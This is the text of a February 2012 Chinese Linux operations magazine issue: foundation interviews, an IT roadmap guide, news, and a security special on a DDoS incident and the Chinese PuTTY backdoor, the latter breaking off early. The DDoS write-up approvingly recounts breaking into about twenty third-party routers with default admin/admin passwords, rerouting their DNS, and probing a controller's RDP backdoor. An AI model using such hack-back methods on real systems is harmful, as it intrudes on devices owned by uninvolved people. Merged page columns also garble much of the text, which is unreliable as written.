《Linux运维趋势》2012年2月号：运维安全准则

目录
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Index
《Linux 运维趋势》投稿信箱 : yangsai@51cto.com

目录
人物·People 技巧·工具·脚本·DBA
003 Linux基金会访谈两则：目标与日常工作 019 HTTP Server开发相关学习资料整理推介
交流·Interact 021 Puppet hosts 资源管理以及多个file source
006 IT部门应如何制定技术路线图 024 XFS：大数据环境下Linux文件系统的未来？
八卦·News 026 也谈架构：百万pv项目与虚拟化
009 RHEL支持时间到十年 Putty后门造悲剧 029 讨论：HDFS和OpenStack对象存储的技术差异
专题·Special 030 Java应用运维
011 浅谈Ddos攻击攻击与防御
015 中文版putty后门事件分析
017 一个网站的用户数据库被入侵的方式有哪些？

出版方：
51CTO 系统频道（北京无忧创想信息技术有限公司）
杂志主编：
杨赛
联系方法：
yangsai@51cto.com 010-68476606（分机 8035）
出版日期：
2012 年 2 月 15 日
订阅：
http://os.51cto.com/art/201011/233915.htm

002 51CTO 系统频道：
http://os.51cto.com

人物
杂志订阅 : http://os.51cto.com/art/201011/233915.htm People

Linux基金会访谈两则：目标与日常工作
素材来源/LinuxPilot、51CTO

这次的人物栏目将引入两个人的访谈，分别从两个角度介绍 Linux 基金知的任务便是聘用以 Linus Torvalds 为首的多名 Linux 核心开发者为雇员，
会这个组织都是做什么的，以及它的会员都负责哪些工作。让他们得以中立的立场持续地开发。同时为了令社团成长，亦需要有广大
开发人员的参与，是以 Linux 基金会会定期举办大型活动交流。
访谈一：Linux基金会日本分部董事福安徳晃

Q：
众所周知 Linux 除了核心部分外，还有档案系统、桌面环境等其他的部
分，Linux 基金会又是否有支援？

A：
没有。Linux 基金会只支援 Linux 核心部分的开发，其中 kernel.org 和
LKML(the Linux Kernel Mailing List) 正是由 Linux 基金会维护的。目前
Linux 基金会在全世界只有两个办事处，分别在美国和日本，原因是绝大部
分财政上支援 Linux 基金会的企业都在这两个地方。

Q：
很多人以为 Linux 是一班高手以玩票性质开发的，你是否同意？

A：
目前 80% 以上的 Linux 核心开发者，都是受聘于企业的，他们会因应
该企业的需要为 Linux 核心追加功能。Linux 虽然是免费的，但却不一定是
福安徳晃从 2010 年 2 月开始担任 Linux 基金会日本分布董事，此前他
“开盒即用”。在使用时总会遇到功能不足、性能未能如意、需要的驱动程式
一直是 Turbolinux 印度区总裁。以下访谈内容由 LinuxPilot 网站的 Kenneth
没有被预载在核心内等问题。这些开发者会以个人身份加入开源社团，然
Mak 完成。
后为核心加入所需要的部分，以避免重复的作业。

Q：
可否简单介绍一下 Linux 基金会的工作？
Q：
除了个人开发者以外，还有哪些组织对 Linux 核心开发有贡献？
A：
Linux 基金会是为了协助 Linux 成长而建立的组织，其中一项广为人
A：
首先自然是各 Linux 版本，还有硬体、半导体制造商。 Red Hat 为例，
以

http://os.51cto.com

人物

他们的产品必须可以持续地在 IBM、日立、NEC 的伺服器上使用，故每次要访谈二：稳定版Linux内核维护者，前SUSE员工，现Linux基金会会员Greg KH
发布新版本，就必须保在这些硬体上能顺畅运作。这些程式码会被整合，由
各 Linux 版本采用。每年我们都会发布一份公开资料，介绍本年度对 Linux
核心贡献最多的团体，本年度贡献最多的是 Red Hat，其次分别有 Novell、
IBM、Intel 等等。此外瑞萨电子、富士通、Oracle 和 Google 都在贡献者之列。

Q：
Linux 核心开发既然关联到多方面的团体，他们又如达成共识？

A ：般情况下都会用 Mailing List 沟通，此之外在 LinuxCon 和
一除
Collaboration Summit 待大型活动上都会设置 BOF(Birds of Feather
Session)，让开发者们以面对面的方式沟通，解决一些在 Mailing List 上无
法表达的问题。下次的 LinuxCon 将会在 2012 年 6 月 6 至 8 日于日本横滨
举行，除此之外还会在北美和欧洲举行，Annual Linux Kernel Summit 则会
每年举行一次。

原文：
http://www.linuxpilot.net/industry/news/2012010401linux-
Greg KH 是稳定版 Linux 内核的维护人员，曾是 SUSE 的工作人员。近日，
Foundation
Greg KH 宣布离开 SUSE，加入 Linux 基金会成为会员。本次采访 Greg KH
相关阅读：的记者是 muktware.com 网站的 Swapnil Bhartiya，谈内容由 51CTO 的
访
lazycai 整理为中文版。
Linux 基金会董事：
Linux 是中国软件的机遇

记者：
恭喜你成为 Linux 基金会会员。这对你的 Linux 社区工作有哪些影
前瞻 2012 年：场不容错过的 Linux 盛会
11 响？

http://os.51cto.com/art/201202/314640.htm Greg ：
其实我在社区的工作完全没有变动，只不过投入的时间精力会多
一些而已。
是谁在编写 Linux 内核？

记者：
你会承担哪些新的职责？

Greg ：
你是说在社区吗？我目前还没听说有什么新工作……难道我现在

http://os.51cto.com

人物

做的还不够多吗？ Greg ：
行程方面应该差不多啦，以前我就是但凡有 Linux 基金会的活动就
都去的，所以这之后也差不多。

记者：
那么，Linux 基金会会员具体是做什么的？我只是好奇，不知道基金
会内部的职位划分、职责分配、向谁汇报工作（或者大家各干各的）这些是怎记者：
对于劝说厂商支持 Linux 这方面，你觉得我们遇到了哪些新的挑战
样安排的？没有？

Greg ：
我们都是各干各的，各自根据社区和其他用户的反馈排列代办事 Greg ：
我没看到什么新的挑战，还是原来的那些东西。
项的优先级，选择最重要的去做。
记者：
Android 内核和 Linux 内核主线的合并情况如何了？
记者：
你还是 SUSE 的成员吗？
Greg ：
代码已经整合的差不多了。3.3 版本已经可以在不作任何修改的
Greg ：
我已经不是 SUSE 的员工了。情况下启动 Android 用户控件，就是电源管理还不太好。预计到了 3.4 版
本就会加入 Android 所需的电源管理钩子，另外还有一些没有来得及合并

记者：
那你跟 SUSE 和 openSUSE 团队的关系也有变动吗？入 3.3 的少许底层代码。

Greg ：
虽然我不再是 SUSE 的员工，不过我仍然是 openSUSE 开发组的成原文：
http://www.muktware.com/news/3273/linux-33-will-let-
员之一，会继续参与这个发行版的工作。 you-boot-android-greg-kh

译文：
记者：
你同时也在维护 Tumbleweed 这个项目，之后也还会继续吗？
推荐阅读：
Greg ：
是的。维护 Tumbleweek 只需要每隔几天抽出 5-10 分钟就可以了，
Android 内核变化将合并到 Linux 主支
所以不怎么影响我其他的工作。

记者：
最近社区在讨论 Fedora 滚动更新的事情，你也参加讨论了吗？跳出 Linux 内核的圈子： Ubuntu 的另类之路
看

Greg ：
我已经跟 Fedora 的一些开发者讨论过，比如 openSUSE 是怎么做滚 http://os.51cto.com/art/201108/281584.htm
动更新，Fedora 需要怎样做才能实现等等。不过目前也只做了这些而已。
Linux 内核开发团队网站遭黑客入侵埋木马

记者：
上次你说到总是飞来飞去的，现在的新工作是否意味着你的行程会
更多？

http://os.51cto.com

交流
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Interact

IT部门应如何制定技术路线图
文/Matt Prigge
编译/核子可乐

几乎所有的 IT 部门都必须制定出一套有针对性的技术路线图。毕竟，没数项因素为基准，包括机构多久大规模进行一次技术革新以及长期预算方
有路线图的指引，在新基础设施硬件的采购环节中就不免出现选择过高或案中有哪些要求（或是必要的参考因素）。
过低配置及组合的情况，而这必然会带来高昂的额外支出。但事实上这种
一般来说，制定得出的周期不应短于两年；
如果连这种程度的前瞻性都
指导性文档往往并不存在，理由非常简单：
达不到，那么规划本身的实际价值也很难尽如人意。同样，它的涵盖时段也
我们怎么可能在瞬息万变的时代下，建立一套能够应对一切新情况的连不应超过五年——通常情况下我们根本无法想象技术态势或者机构需求在
续性技术规划呢？这么长的时间之后会走向何处。

整个过程的麻烦之处在于，要想完善一套规划，必须要拿出三到五年时步骤二：建立一套宏观的基础设施调查问卷
间对基础设施进行补充及修正，以使其完全与理论方案相契合；
然而当上
接下来要做的是定义一套调查问卷，
述工作终告成功时，我们却又会猛然
明确列出自身基础设施中存在着哪些基
发现原先这套规划已经过时了。仅 “尽管大多数此类问题看似属于技术范畴，但
本需求。在这一步中，大家不需要太多考
仅这一推论就足以令大多数 IT 部门在本质上其实与技术无关。”
虑是否能为每个问题拿出完善的解决方
选择放弃，并将自身的大部分精力放
案——关键之处只在于提出问题。另外
在头痛医头、脚痛医脚的被动型应对措施上——但这种方案同样存在问题：
大家也不必在某些特定技术方面钻研得过深；
随着时间的推移，很多答案
不仅必然导致预算的过分膨胀，而且硬件设施的日渐过时也会带来种种难
将自行浮出水面。
于应对的麻烦。
恰恰相反，将着眼点放在更高层次的问题上。大家可能会发现，尽管大
其实事情完全不必陷入如此境地。对处于迅速变化中的未来，我们不仅
多数此类问题看似属于技术范畴，但在本质上其实与技术无关。以下是我
有办法做出规划，而且能够充分将之前已经做过的工作当作新的基石。下
亲身经历过的一些宏观实例：
面我将与大家分享八个步骤，它们在实践中都取得了相当理想的指导效果。
* 我们与去年相较，数据同比增长情况如何？
步骤一：明确定义自身规划的生命周期
* 我们与去年相较，计算能力同比增长情况如何？
首先，明确定义自身技术路线图将要涵盖的时间段。这一决策过程应以

http://os.51cto.com

交流

* 我们了解那些即将面世的全新应用程序 / 解决方案 / 技术吗？储空间以及每秒三万次业务处理能力”这样的描述方式，但在这份调查问
卷中，请一定将该模块概述为“主体存储解决方案” 并将所需性能指数标
，
* 企业是否拥有任何长期性扩张规划（例如部署新办公地点等）？
注明确。在成本计算方面，将设备总体的当下市场价位进行汇总，并当作成
* 我们在正常运行时间 / 可靠性方面有哪些自我要求？本预案的参考数据。

* 我们在 RTO/RPO（即恢复时间及恢复目标点）方面有哪些自我要求？如果大家手头的带宽或者实践经验不足以在企业内部自行进行设计工

当确实完成之后，这份清单的内容将相当丰富。大家需要做到的是为其作，不妨将其交给值得依赖的顾问或者指导专家来完成。既然我们手头的

中的关键性问题找出答案，这些答案将指导我们（甚至是第三方）设计出一参考资料已经涵盖了步骤三和四中的所有信息，那么即使是对企业情况不

套能够承担必要负载并满足企业自身政策要求的全新基础设施。如果大家甚了解的第三方也完全有能力做好设计工作。

列出的问题还不足以为达成上述目标提供全部信息，那么这份清单就仍然步骤五：实施采购
不够完整。
接下来的这一步是将面向远景目标的设施方案递交企业管理层（具体地
步骤三：寻求答案说，递交给掌握项目拨款的人手中）看看他们是否为你的长期基础设施规
，

现在到了最有趣的部分：
第一次尝试填写我们自己撰写的调查问卷。其划所吸引、能不能接受由此带来的整体成本。这个时候，如果他们表示需要

中某些问题（例如数据增长率等）可能需要借用某些我们还未部署过的监严格执行五个九（即 99.999%）的高阶可靠性标准，也就意味着这套方案基

控工具才能回答。其它一些则可能需本上得到认同了。如果他们没这么说，大

要与企业管理层进行坦诚对话，迫使
“不涉及任何特定技术或者产品；因为这些技家就得继续反复完善规划，根据决策者们

他们将像 RTO/RPO 等政策中的实际术很可能将在时效之内发生大规模变动。” 对生产效果的期望进行修改，并尽可能压

数字与我们共享。低基础设施的建设成本——当然继续据
理力争也是可以的，只要能让他们认识到设计中的每一步要求都确实能为
步骤四：设计一套面向未来的基础设施
企业运营带来益处，那么理论付诸实践也将变得顺理成章。
一旦调查问卷制定完成，接下来要做的就是设计一套能够满足规划涵盖
步骤六：进行差距分析
时间段中各种需求（务必把此间的年均增长总量考虑进来）的全新基础设
施。这一步半点也含糊不得，即使是原先已经驾轻就熟的领域，也必须要将在实验性部署工作告一段落之后，现在我们需要准确指出现有基础设施

其作为方案中的必要因素与新终端进行比照。与长效基础设施设计之间所存在的差距。这一步工作的实质在于定义目前
基础设施现状到规划发展目标还需要进行哪些调整与改动——请大家尝试
在进行这一步时，请务必确保其中不涉及任何特定技术或者产品；
因为
回答以下问题：
这些技术很可能将在路线图的时效之内发生大规模变动。大家原先可能会
习惯于“我们将需要部署一台 EMC Clariion CX4-240 设备，配备 95 TB 存 * 我还需要增加多少套虚拟主机？

http://os.51cto.com

交流

* 我还需要部署多少个交换机端口？调查问卷的答案，并评估与当初相比，如今的情况发生了哪些变化。如果变
化的确存在，那么尽快对最终设计进行修改，保证所有变化因素都涵盖在其
* 我需要为新增主体存储环境准备多大的磁盘容量？
中。接着通过差距分析机制将这些变化纳入基础设施更新工作中去。
* 我们目前所在使用的存储平台是否有能力扩展至目标水平？
至于规划执行周期的设定，我们需要总结自己重新审视整套规划的频繁
* 我的数据保护环境需要多少额外吞吐量 / 存储能力支持？程度；
我见过有些机构每月审核一次、有些每季度审核一次，更有甚者每半
* 我们目前所在使用的数据保护环境是否有能力扩展至目标水平？年才审核一次。请注意，每次审核之间相隔时间越长，审核工作本身的执行
难度越大。
步骤七：建立路线图并准备着手实施
同志们，前途光明但道路曲折
在确定了新旧设施的差距之后，大家就可以着手实施规划了——当然，
也别忘了将如何在实施过程中逐步消除差距提上议事日程。现在我们可以正如子标题所说，为基础设施发展制定规划从来也不是件简单的事情。
先从符合当前价位情况的预算项目入手，为设施选择特定产品及规格。关键在于，让我们花在制定规划的每一分每一秒都切实带来效果与收益。
虽然这套特定方案无法满足每个人的要求，但其中的某些环节却可能具备
在开始选择具体产品之前详细考量长远需求，将使我们从至高点上审
广泛的指导意义。在目标状况变化迅猛时，采取由规划结尾开始、至规划开
视诸多选项，并从中挑选出最经得住时间考验的对象。就拿主体存储环境
头结束的实施，将能够有效避免部署流程中的返工现象。
作为例子：家会非常清晰地知晓，
大
随着业务及操作数量的不断提升，无论大家部署什么、如何部署，千万不
“一套良好的规划流程永远不会走向终点。”
Clariion CX4-120 将很难长久为继；要将技术规划彻底抛开。即使只帮我们
按照规划中的发展预期，最终我们需避免了一个规划失误（例如 SAN 替代方
要的可能是与 VNX5500 处理能力相案的选择方面）那么整个设计流程就称
，
仿的设备——如此看来，我们就不应在短期利益的影响下选择 VNX5300，得上物有所值。
毕竟它不足以一以贯之地为我们提供优秀的处理能力支持。不仅如此，我原文： steps to building and maintaining an infrastructure road map
8
们完全可以在与管理层进行讨论时拿出必要的信息来证明这种选择的高明
译文：
之处，完善的资料储备会让我们在影响企业决策时无往而不利。
编辑推荐：
步骤八：路线图的维护
胡世忠：软件五年发展路线图
IBM
人们常说，一套良好的规划流程永远不会走向终点。既然我们已经在建
立路线图时下了这么多苦功，那么此时也应该获得相应的回报——升级这 http://developer.51cto.com/art/201109/290802.htm
种完备的路线图将不会带来过多的工作负担。大家需要做的只是定期核审

http://os.51cto.com

八卦
杂志订阅 : http://os.51cto.com/art/201011/233915.htm News

RHEL支持时间到十年 Putty后门造悲剧
——八卦，新闻与数字 2012.01 - 2012.02

2 月 10 日，Mark Shuttleworth 在其博文中对外宣布，Canonical 将首 Linux Foundation 已经发布了 2012 年各场峰会和 Linux 培训的时间
次推出一款“企业适用”的 Ubuntu 新版本， “Ubuntu Business Desktop
叫表，包括 Android Builders 峰会，嵌入式 Linux 大会，第六届协作峰会，各地
Remix”版本 ( 简称“Ubuntu 企业专用版”)。区的 LinuxCon 等等。

http://os.51cto.com/art/201202/316756.htm http://os.51cto.com/art/201202/317155.htm

Kubuntu 开发负责人 Jonathan Riddell 发出通知， 12.04 起，
自 Canonical 自称 TheLordsofDharmaraja 的黑客表示通过入侵印度军事情报部门的服
将不再支持基于 KDE 桌面的 Ubuntu 分支，Kubuntu 的未来将完全靠社区开务器发现赛门铁克源代码。
发者。
http://netsecurity.51cto.com/art/201202/316575.htm
由于 PuTTY、WinSCP 等常用的服务器远程登录工具汉化版被黑客植入
自由文档基金会在 2010 年开始开发 LibreOffice，目前已经有 400 多名开后门程序，目前已有上万条服务器账户信息遭到泄露。
发者参与过这个项目，每月活跃开发者人数在 50 到 100 之间。
国家互联网信息办：
用户信息泄露事件已查处入侵、窃取、倒卖数据案件
甲骨文于近日对产品价格单进行了更新，中最新添加了 Oracle
其 9 起，编造并炒作信息泄露案件 3 起，刑事拘留 4 人，予以治安处罚 8 人。
Exalytics 商务智能云服务器以及 TimesTen 内存数据库软件的价格信息。
微软公司发布了一份文件表示，Windows 8 UEFI 安全启动功能意味着
红帽公司将延长红帽企业 Linux 5 和 6 版本的支持时间到 10 年。基于 ARM 系统以提供的操作系统将不能运行任何第三方操作系统。


美国安全专家推测美空军有可能已经转换了无人机控制系统平台，从 SUSE Linux Enterprise Server 已成为 Dell Cloud with VMware vCloud
Windows 系统转为 Linux 系统，以阻止病毒入侵。 Datacenter Service 的第一个 Linux 发行版。


http://os.51cto.com

专题
杂志订阅 : http://os.51cto.com/art/201011/233915.htm Special

普通运维应当了解的安全准则
编者按：

运维这个职业的辛苦，在于任何状况都可能找到他们头上，让他们 24 小
时不得安宁。因此，这个职业性质要求运维前可做客服，后可做系统部署维
护、开发编代码、数据库管理、服务器安全保障。

在成熟的大型系统当中，技术部对运维会进行比较细致的分工，每个人
可以专注于一个领域；
而在大多数企业当中，很可能只有一个运维甚至没
有全职的运维，这就要求这个运维非常全面。就其工作职责而言，要保障服
务、业务的正常运转，最大的变数在于安全这个层面：
无论内部外部，无论
有意无意还是碰巧撞上，一旦有服务中断或者数据泄露这样的问题发生，挨
骂的总归有运维在内。

因此，任何一个普通运维，都必须了解一些安全准则。最近无论是几个
大网站明文密码泄露的事故，还是 Putty 汉化版存在后门盗取管理员密码的
事故，都暴露出很多问题。而要保护自己所负责的业务，首先则需要站在攻
击者的角度思考问题，修补任何潜在的短板。

希望下面这个专题能给大家提供一些思路。

http://os.51cto.com

专题

浅谈Ddos攻击攻击与防御
文/jianxin@80sec.com

一背景下我们的网站访问量没有这么高，如果有这么高我们相信中国的信息安全
就有希望了，对于这样的情况其实处理就比较简单，这是一次四层的攻击，
在前几天，我们运营的某网站遭受了一次 ddos 攻击，我们的网站是一个
也就是所有 ip 都是真实的，由于目前为止只是消耗了 webserver 的网络连
公益性质的网站，为各个厂商和白帽子之间搭建一个平台以传递安全问题
接资源，所以我们只需要简单的将这些 ip 在网络层封禁就可以，很简单，用
等信息，我们并不清楚因为什么原因会遭遇这种无耻的攻击。因为我们本
下面的命令即可：
身并不从事这种类型的攻击，这种攻击技术一般也是比较粗糙的，所以讨论
得比较少，但是既然发生了这样的攻击我们觉得分享攻击发生后我们在这 for i in `netstat -an | grep -i‘:80‘|grep‘EST’| awk‘{print $5}’| cut -d : -f
个过程中学到得东西，以及针对这种攻击我们的想法才能让这次攻击产生 1 | sort | uniq -c | awk‘{if($1 50) {print $2}}’`
真正的价值，而并不是这样的攻击仅仅浪费大家的时间而已。 echo $i
echo $i /tmp/banip
另外，我们发现大型的企业都有遭受攻击的案例，但是大家遭受攻击之 /sbin/iptables -A INPUT -p tcp -j DROP -s $i
后的应对措施及学到的经验却分享都比较少，这导致各家都是自行的摸索 done
经验，依然停留在一家企业对抗整个互联网的攻击的局面，而对于攻击者却
是此次攻击针对你，下次攻击却是针对他了，而且攻击之后无论是技术还是然后作为计划任务一分钟执行一次即可，很快，iptables 的封禁列表就充
资源都没有任何的损耗，这也是导致这种攻击频繁并且肆无忌惮的原因。斥了大量的封禁 ip，我们简单的统计了下连接数最大的一些 ip 发现都来自
韩国。为了保证系统的性能，我们调大
我们来尝试做一些改变：）
“各家都是自行的摸索经验，依然停留在一家了系统的可接受的连接数以及对 Nginx
二应急响应企业对抗整个互联网的攻击的局面。” 进行了每个连接能够进行的请求速率，

在攻击发生后，第一个现象是我们的系统于是恢复了正常的运行。

网站上不去了，但是依然可以访问到管理界面，我们登陆上去简单执行了命正常状态一直持续到第二天，但是到中午之后我们发现访问又出现了问
令：题，网络很慢，使用 ping 发现大概出现了 70% 左右的丢包，在艰难的登陆

netstat -antp 到系统上之后，发现系统已经很少有 TCP 的正常连接，为了查明原因，我们
对系统进行了抓包：
我们看到有大量的链接存在着，并且都是 ESTABLISHED 状态，正常状态
tcpdump -w tmp.pcap port not 22

http://os.51cto.com

专题

tcpdump -r tmp.pcap -nnA 4 网络连接建立完成之后浏览器根据请求建立不同的数据包并且将数
据包发送到服务器某个端口
我们发现攻击已经从应用层的攻击调整到了网络层的攻击，大量的目标
端口是 80 的 udp 和 icmp 包以极快的速度充满了网络，一个包大小大概在 5 端口映射到进程，进程接受到数据包之后进行内部的解析
1k 左右，这次占据的资源纯粹是带宽资源了，即使在系统上做限制也解决
6 请求服务器内部的各种不同的资源，包括后端的 API 以及一些数据库
不了这个问题，不过也没有关系，对于网络层的问题我们可以在网络层上
或者文件等
做限制，我们只需要在网络上把到达我们 ip 的非 TCP 的所有包如 UDP 和
ICMP 等协议都禁止掉即可，但是我们没有自己的服务器也缺乏对网络设备 7 在逻辑处理完成之后数据包按照之前建立的通道返回到用户浏览

的控制权，目前是由工信部 CERT 提供支持的，由于临时无法协调进行相应器，浏览器完成解析，请求完成。

的操作，后果如大家看到，我们的服务很慢，基本上停止了服务，在一段时间上面各个点都可以被用来进行 ddos 攻击，包括：
之后攻击者停止了攻击，服务才进行了恢复，很憋屈是么？但是同时我们得
1 某些著名的客户端劫持病毒，还记得访问百度跳搜狗的事情么？：）
到了很多热心朋友的帮助，得到了更好的网络和服务器资源，在网络资源方
面的能力得到了很大的提升，缓解了这方面的问题，这里对他们表示感谢。 2 某个大型互联网公司发生的 dns 劫持事件，或者直接大量的 dns 请求
直接攻击 dns 服务器，这里可以使用一些专业的第三方 dns 服务来缓解这
三常见ddos攻击及防御
个问题， Dnspod
如
继续秉承 80sec 的”Know it then
3 利用建立网络连接需要的网络
hack it” 这里简单谈一下 ddos 攻击
， “大量的目标端口是80的udp和icmp包以极快
资源攻击服务器带宽使得正常数据包无
和防御方面的问题。ddos 的全称是的速度充满了网络。”
法到达如 udp 的洪水攻击，消耗前端设备
分布式拒绝服务攻击，既然是拒绝服
的 cpu 资源以使得数据包不能有效转发
务一定是因为某些原因而停止服务的，其中最重要的也是最常用的原因就
如 icmp 和一些碎片包的洪水攻击，消耗服务器方建立正常连接需要的资源
是利用服务端方面资源的有限性，这种服务端的资源范围很广，可以简单的
如 syn flood 或者就是占用大量的连接使得正常的连接无法发起，譬如这次
梳理一个请求正常完成的过程：
的 TCP flood
1 用户在客户端浏览器输入请求的地址
4 利用 webserver 的一些特点进行攻击，相比 nginx 来说，apache 处理一
2 浏览器解析该请求，包括分析其中的 dns 以明确需要到达的远程服务个请求的过程就比较笨重。
器地址
5 利用应用程序内部的一些特性攻击程序内部的资源如 mysql，后端消
3 明确地址后浏览器和服务器的服务尝试建立连接，尝试建立连接的耗资源大的接口等等，这也就是传统意义上的 CC 攻击。
数据包通过本地网络，中间路由最终艰苦到达目标网络再到达目标服务器
这里涉及到攻防的概念，但是实际上如果了解对方的攻击点和攻击手

http://os.51cto.com

专题

法，防御会变成简单的一个拼资源的过程，不要用你最弱的地方去抗人家最具的特征，甚至有能力的可以去分析背后的利益点及操作者，那么每一次攻
强的地方，应该从最合适的地方入手把问题解决掉，譬如在路由器等设备上击都能让大家的整体防御能力上升，让攻击者的攻击能力有损失，我们很愿
解决应用层攻击就不是一个好的办法，同理，在应用层尝试解决网络层的问意来做这个事情。
题也是不可能的，简单来说，目标是只让正常的数据和请求进入到我们的服
四根源及反击
务，一个完善的防御体系应该考虑如下几个层面：
我困惑的是一点，攻击我们并不能得到实际的好处为什么还是有人来攻
1 作为用户请求的入口，必须有良好的 dns 防御
击，而且听说其他公司都有被攻击的情况，我觉得有一点原因就是攻击我们
2 与你的价值相匹配的带宽资源，并且在核心节点上布置好应用层的的确得不到什么好处，但是实际上攻击者也并不损失什么，无论是资源上还
防御策略，只允许你的正常应用的网络数据包能够进入，譬如封杀除了 80 是法律风险上，他不会因为一次攻击而损失太多，而相比之下，服务提供者
以外的所有数据包损失的东西却太多了，这从经济学角度来讲就是不平衡的，我们处于弱势。

3 有支持你的服务价值的机器集群来抵抗应用层的压力，有必要的话一般而言，的确对于作恶者是没有什么惩罚措施，但是这次，我们觉得我
需要将一个 http 请求继续分解，将连接建立的过程压力分解到其他的集群们是可以做一些事情的，我们尝试挖掘背后的攻击者，甚至清除这个僵尸网
里，这里似乎已经有一般的硬件防火墙能做这个事情，甚至将正常的 http 请络。
求解析过程都进行分解，保证到达后端的是正常的请求，剔除掉畸形的请
首先这次攻击起源于应用层的攻击，
求，将正常的请求的请求频度等行为
所以所有的 ip 都是真实的，经过与 CERT
进行记录和监控，一旦发生异常就在 “作为用户请求的入口，必须有良好的dns防
沟通，也发现这些 ip 都是韩国的，并且控
这里进行应用层的封杀御。”
制端不在国内，为期间没有与国内有
因
每个公司都有自己对自己价值的过通讯，即使在后面换成了 udp+icmp 的
评估从而决定安全投入上的大小，每一次攻击也会涉及到利益的存在，正如 flood，但是依然是那些韩国的 ip，这很有意思，正常情况下 udp+icmp 的数
防御因为种种原因譬如投入上的不足和实施过程中的不完美，有着天生的据包是可以伪造的，但是这里居然没有伪造，这在后面大概被我们证实了原
弱点一样，攻击也是有着天生的弱点的，因为每一次攻击涉及到不同的环因。
节，每个环节都可能由不同水平的人完成，他所拥有的资源，他使用的工具
这些 ip 是真实存在的 ip，而且这些 ip 肯定在攻击完我们之后一定依然
和技术都不会是完美的，所以才有可能进行防御，另外，我相信进行 DDOS
跟攻击者保持着联系，而一般的联系方式因为需要控制的方便都是 dns 域
攻击的人是一个固定的行业，会有一些固定的人群，对于其中使用的技术，
名，既然如此，如果我们能挖掘到这个 dns 域名我们就可能间接的挖掘出真
工具，资源和利益链都是比较固定的，与之相对的是各个企业却缺乏相应的
正幕后黑手在哪里。首先，我们迅速的找出了这次攻击 ip 中开放了 80 端
沟通，以个人企业对抗一个产业自然是比较困难，而如果每一个企业都能将
口的机器，因为我们对 80 端口上的安全问题比较自信，应该很快可以获知
自己遭受攻击时的经验分享出来，包括僵尸网络的大小及 IP 分布，攻击工
这些 ip 背后的细节（80sec 名称由来）我们发现大部分是一些路由器和一
，

http://os.51cto.com

专题

些 web 的 vpn 设备，我们猜测这次攻击的主要是韩国的个人用户，而个人用户）的访问量持平，workgroup001.snow****.net，看起来似乎对自己的僵
户的机器操作系统一般是 windows 所以在较高版本上发送数据包方面可尸网络管理很好嘛，大概有 18 台机器访问过这个域名，这个域名的主机托
能有着比较大的限制，这也解释了为什么即使是 udp+icmp 的攻击我们看到管在新加坡，生存时间 TTL 在 1800 也就是半小时，这个域名在所有的搜
的大都是真实 ip。发现这些路由设备之后我们尝试深入得更多，很快用一索引擎中都不存在记录，是一个韩国人在 godady 一年前才注册的，同时我
些弱口令譬如 admin/admin 登陆进去，果然全世界的网民都一样，admin/ 们访问这个域名指向主机的 3389，简单的通过 5 下 shift 就判断出它上面
admin 是天生的入口。存在着一个典型的 windows 后门，似乎我们找到它了，不是么？经过后续
的观察，一段时间后这个域名指向到了 127.0.0.1，我们确信了我们的答
登陆进去一些路由之后我们发现这些路由器里面存在一个功能是设置
案 ,workgroup001.snow****.net，看起来似乎对自己的僵尸网络管理很好
自己的 dns，这意味着这下面的所有 dns 请求都可以被定向到我们自己设置
嘛：）
的 dns 服务器，这对于我们去了解内部网络的细节会很有用，于是我们建立
了一个自己的 dns 服务器，并且开启了 dns 请求的日志功能以记录所有请这是一次典型的 ddos 攻击，攻击之后我们获得了参与攻击的主机列表
求的细节。我们大约控制了 20 台路由器的 dns 指向，并且都成功重定向到和控制端的域名及 ip，相信中国和韩国的 cert 对于清理这次的攻击源很有
我们自己的服务器。兴趣，我们是有一些损失，但是攻击者也有损失了（大概包括一个僵尸网络
及一个控制端域名，甚至可能包括一次内部的法律调查）我们不再是不平
，
剩下的就是简单的数据分析，在这之前我们可以对僵尸网络的控制域名
等的了，不是么？
做如下的猜测：

“我们大约控制了20台路由器的dns指向，并五总结
1 这个 dns 应该为了灵活的控制
域名的缓存时间 TTL 一般不会特别长且都成功重定向到我们自己的服务器。” 正如一个朋友所讲的，有的防御是
所
不完美的正如攻击是不完美的一样，好的
2 这个 dns 应该是定期的被请求，
防御者在提升自己的防御能力趋于完美的同时也要善于寻找攻击者的不完
所以会在 dns 请求里有较大的出现比例
美，寻找一次攻击中的漏洞，不要对攻击心生恐惧，对于 Ddos 攻击而言，发
3 这个 dns 应该是为了控制而存在的，所以域名不应该在搜索引擎以及起一次攻击一样是存在漏洞的，如果我们都能够擅长利用其中的漏洞并且
其他地方获得较高的访问指数，这与 2 中的规则配合起来会比较好确定，是抓住后面的攻击者那么相信以后的 ddos 攻击案例将会减少很多，在针对目
一个天生的矛盾。标发起攻击之前攻击者也会做更多的权衡，损失，利益和法律。
4 这个 dns 应该在各个路由下面都会被请求原文：
http://www.80sec.com/ddos-attack-defend.html
这些通过简单的统计就很容易得出答案，我们发现了一些 3322 的通用推荐阅读：
恶意软件域名但是发现它并不是我们需要的，因为只有少数机器去访问到，
如何防御 DDoS 对数据中心的攻击？
经过一些时间之后最后我们发现一个域名访问量与 naver（韩国的一个门

http://os.51cto.com

专题

中文版putty后门事件分析
文/knownsec

近几日，中文版 putty 等 SSH 远程管理工具被曝出存在后门，该后门会自 2．事件分析
动窃取管理员所输入的 SSH 用户名与口令，并将其发送至指定服务器上。
2.1问题软件源头
知道创宇安全研究小组在第一时间获取该消息后，对此次事件进行了跟踪
和分析。根据分析，此次事件涉及到来自 putty.org.cn、putty.ws、winscp. 知道创宇安全研究团队在获取信息后，一时间对 putty 等软件进行
第

cc 和 sshsecure.com 站点的中文版 putty、WinSCP、SSHSecure 和 sftp 等软件，了跟踪分析。通过分析发现，来自以下几个站点的中文版 putty、WinSCP、

而这些软件的英文版本不受影响。 SSHSecure 和 sftp 等软件都可能存在后门程序：

1．时间线 http://www.winscp.cc

1 月 25 日：
新浪微博有网友发布消息称 putty 和 winscp 中装有后门程序， http://www.sshsecure.com

但该条微博并未提及后门程序的类型及其技术细节，而且消息也未被过多 2.2行为分析
的人所重视，目前无法确定该条微博是否与此次事件有关联。
2.2.1网络行为分析
1 月 30 日下午 16 点左右：
互联网上再度出现关于中文版 putty 等 SSH
使用带有后门程序的中文版 putty 等 SSH 管理软件连接服务器时，程序
管理软件被装有后门的消息，并且此消息对后门的行为特征进行了简要的
会自动记录登录时的用户名、密码和服务器 IP 地址等信息，并会以 HTTP 的
描述——该程序会导致 root 密码丢失，但发布者仍未披露具体的技术细节。
方式将这些信息发送到指定的服务器上，以下是在分析过程中抓取到的原
1 月 31 日：
